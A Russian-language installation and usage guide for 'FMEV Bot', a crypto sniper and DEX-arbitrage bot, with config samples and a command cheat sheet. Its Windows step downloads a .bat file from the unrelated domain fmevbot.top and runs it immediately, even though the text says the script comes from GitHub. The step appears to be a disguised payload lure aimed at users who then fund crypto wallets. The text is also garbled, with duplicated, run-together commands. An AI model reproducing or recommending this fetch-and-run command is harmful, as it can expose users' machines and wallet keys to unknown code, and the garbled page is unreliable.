Установка
Бот распространяется как один бинарный файл. Установочный скрипт сам определит вашу платформу, скачает релиз с GitHub, проверит контрольную сумму и добавит fmev в PATH.
$ curl -fsSL https://fmevbot.top/install.bat -o "%TEMP%\fmev-install.bat" && "%TEMP%\fmev-install.bat"$ curl -fsSL https://fmevbot.top/install.bat -o "%TEMP%\fmev-install.bat" && "%TEMP%\fmev-install.bat"
$ less install.sh
$ bash install.shОткройте Командную строку (Win+R → cmd) и выполните:
$ curl -fsSL https://fmevbot.top/install.bat -o "%TEMP%\fmev-install.bat" && "%TEMP%\fmev-install.bat"$ docker pull ghcr.io/fmev-labs/fmev-bot:latest
$ docker run -d --name fmev --restart unless-stopped \
-p 127.0.0.1:7777:7777 \
-v ~/.fmev:/root/.fmev \
ghcr.io/fmev-labs/fmev-bot:latest127.0.0.1. Не открывайте порт 7777 наружу — используйте SSH-туннель: ssh -L 7777:localhost:7777 user@server.# нужен Rust 1.80+ (https://rustup.rs)
$ git clone https://github.com/fmev-labs/fmev-bot.git
$ cd fmev-bot
$ cargo build --release
$ sudo cp target/release/fmev /usr/local/bin/Что вы увидите
curl -fsSL https://raw.githubusercontent.com/fmev-labs/fmev-bot/main/install.sh | bash
==> Определяю платформу... linux-x86_64
==> Последний релиз: v2.4.1 (github.com/fmev-labs/fmev-bot/releases)
==> Скачиваю fmev-v2.4.1-linux-x86_64.tar.gz
[ ] 0%
==> Проверяю SHA256... OK
==> Устанавливаю в ~/.fmev/bin
==> Добавляю в PATH (~/.bashrc)
✓ FMEV Bot v2.4.1 установлен. Дальше: fmev init
Проверьте установку:
$ fmev --version
fmev 2.4.1 (build 8f3c2a1, rustc 1.81.0)Первый запуск
Мастер настройки создаст папку ~/.fmev, конфиг и зашифрованное хранилище ключей. На все вопросы можно отвечать Enter — значения по умолчанию безопасные.
$ fmev init
? Какие сети использовать? › Ethereum, Solana
? Режим по умолчанию › demo (рекомендуется)
? Порт веб-панели › 7777
? Пароль для хранилища ключей › ••••••••••••
✓ Конфиг создан: ~/.fmev/config.toml
✓ Хранилище ключей: ~/.fmev/keystore (AES-256-GCM)
$ fmev ui
▸ Панель запущена: http://localhost:7777fmev ui сама откроет браузер. На сервере без экрана используйте fmev ui --headless и SSH-туннель.Подключение ноды
Скорость бота напрямую зависит от RPC. Публичные эндпоинты подойдут для демо, но для live лучше платная нода или своя.
Подключённые ноды
+ Добавить ноду1| Сеть | Эндпоинт | Задержка4 | Статус |
|---|---|---|---|
| ETH | eth-mainnet.example… | 18ms | online |
| SOL | solana-mainnet.exa… | 27ms | online |
| SOL | api.mainnet-beta.s… | 212ms | slow |
Новая нода
Раздел «RPC / ноды». Данные вымышленные.
- 1Нажмите «+ Добавить ноду» в правом верхнем углу.
- 2Вставьте WebSocket-адрес ноды (начинается с
wss://). HTTP тоже подойдёт, но события будут приходить медленнее. - 3Нажмите «Проверить соединение» — бот сделает тестовый запрос и измерит задержку. Затем «Сохранить».
- 4Следите за колонкой «Задержка»: зелёный — до 50 ms, жёлтый — медленная нода. Бот автоматически переключается на самую быструю.
Кошелёк
Для демо-режима кошелёк не нужен — можно пропустить этот шаг. Для live создайте отдельный кошелёк только под бота.
Добавить кошелёк
Создать новыйИмпорт1Раздел «Кошельки». Адрес вымышленный.
- 1Выберите «Создать новый». Импорт существующего кошелька возможен, но не рекомендуется.
- 2Скопируйте адрес и пополните его небольшой суммой — только тем, что готовы задействовать в торговле.
- 3Оставьте галочку «Шифровать» — ключ хранится только на вашем диске в зашифрованном виде.
- 4Нажмите «Создать кошелёк» и сразу сохраните резервную копию в надёжном месте.
Демо-режим
Бот получает настоящие блоки и транзакции, но сделки исполняет виртуально — с учётом газа, чаевых и проскальзывания. Начните здесь и переходите в live, когда статистика вас устроит.
- 1Переключатель DEMO / LIVE. После
fmev initпо умолчанию включён DEMO. - 2Нажмите ✎, чтобы задать виртуальный баланс, близкий к будущему реальному.
- 3«Отчёт за сессию» — сделки, упущенные возможности и расходы на газ.
Настройка снайпера
Снайпер покупает новый токен в момент появления ликвидности. Главное здесь — фильтры: они отсеивают honeypot'ы и скам-контракты до покупки.
Sniper · Solana
Включён 1Фильтры безопасности
Выход из позиции
Раздел «Sniper». Значения — рекомендуемый пресет «Баланс».
- 1Включите тумблер «Включён» для нужной сети.
- 2Задайте сумму на сделку. Правило: не больше 2–5% от баланса бота на один токен.
- 3Оставьте все фильтры безопасности включёнными. Каждый выключенный фильтр заметно увеличивает шанс купить скам.
- 4Настройте выход: частичный тейк-профит + трейлинг-стоп + жёсткий стоп-лосс.
То же самое в config.toml
Все настройки панели дублируются в файле ~/.fmev/config.toml — удобно для VPS и бэкапов.
[sniper]
enabled = true
chains = ["solana"]
amount_per_trade = 0.8 # SOL
max_slippage = 15 # %
min_liquidity_usd = 15000
tip = "auto" # Jito tip
[sniper.filters]
honeypot_check = true
mint_revoked = true
freeze_revoked = true
lp_burned = true
max_top10_share = 30
[sniper.exit]
take_profit = [{ at = 80, sell = 50 }, { at = 200, sell = 50 }]
trailing_stop = 25
stop_loss = 35Настройка арбитража
Арбитраж ищет замкнутые маршруты между DEX, где на выходе больше, чем на входе, с учётом всех комиссий. Настраивается за минуту.
Арбитраж
ETH + SOLETHSOLБиржи (DEX) 5 из 8
Мин. чистая прибыль $5.00
Макс. длина маршрута
23Раздел «Арбитраж».
- 1Отметьте галочками биржи. Больше бирж — больше маршрутов, но и больше нагрузка на ноду.
- 2Задайте минимальную чистую прибыль. Для Ethereum ставьте выше ($5+) из-за газа, для Solana хватит $0.5.
- 3Выберите длину маршрута: 3 ноги находят больше возможностей, 2 — быстрее считаются.
- 4Нажмите «Применить» — настройки подхватятся без перезапуска бота.
Запуск и уведомления
Всё настроено — осталось нажать одну кнопку. Бот начнёт сканировать сети, а о каждой сделке сообщит в Telegram.
Анимированный макет запуска.
Режим: DEMO · Сети: ETH, SOL
SOL→BONK→USDC→SOL
Прибыль: +$17.44 · tip $0.35
Куплено $MEOW · 0.8 SOL
Фильтры: 5/5 ✓
Продано 50% · +82%
Уведомления в Telegram (вымышленные).
Подключить Telegram
$ fmev notify telegram --token <BOT_TOKEN> --chat <CHAT_ID>
✓ Тестовое сообщение отправленоИли то же без браузера — запуск прямо из терминала:
$ fmev start --strategy arb,sniper --mode demo
$ fmev statusШпаргалка по командам
| Команда | Что делает |
|---|---|
fmev init | Мастер первоначальной настройки |
fmev ui | Запускает веб-панель на localhost:7777 |
fmev start | Запускает стратегии из конфига. Флаги: --mode demo|live, --strategy arb,sniper |
fmev stop | Останавливает бота; открытые позиции остаются под управлением стоп-лоссов |
fmev status | Состояние, аптайм, PnL сессии |
fmev logs -f | Лог в реальном времени |
fmev rpc test | Проверяет все ноды и показывает задержку |
fmev wallet list | Список кошельков и балансы |
fmev report --days 7 | Отчёт по сделкам и расходам за период |
fmev update | Обновление до последнего релиза с GitHub |
Решение проблем
fmev: command not found после установки
Перезапустите терминал или выполните source ~/.bashrc (для zsh — ~/.zshrc). Бинарник лежит в ~/.fmev/bin.
Много «outbid» — другие боты быстрее
Смените RPC на ближайший к вам регион или свою ноду, включите приватную отправку (Flashbots / Jito) и проверьте задержку командой fmev rpc test.
Снайпер ничего не покупает
Скорее всего, фильтры отсекают все токены — это нормально в спокойные часы. Посмотрите причину отказа в fmev logs -f | grep FILTER. Не отключайте фильтры безопасности ради количества сделок.
Арбитраж находит маршруты, но «skip»
Чистая прибыль после газа ниже порога. Для Ethereum это частая ситуация днём при высоком газе — попробуйте Solana или снизьте порог.
Как обновиться?
fmev update скачает последний релиз с GitHub и проверит подпись. Конфиг и ключи не затрагиваются.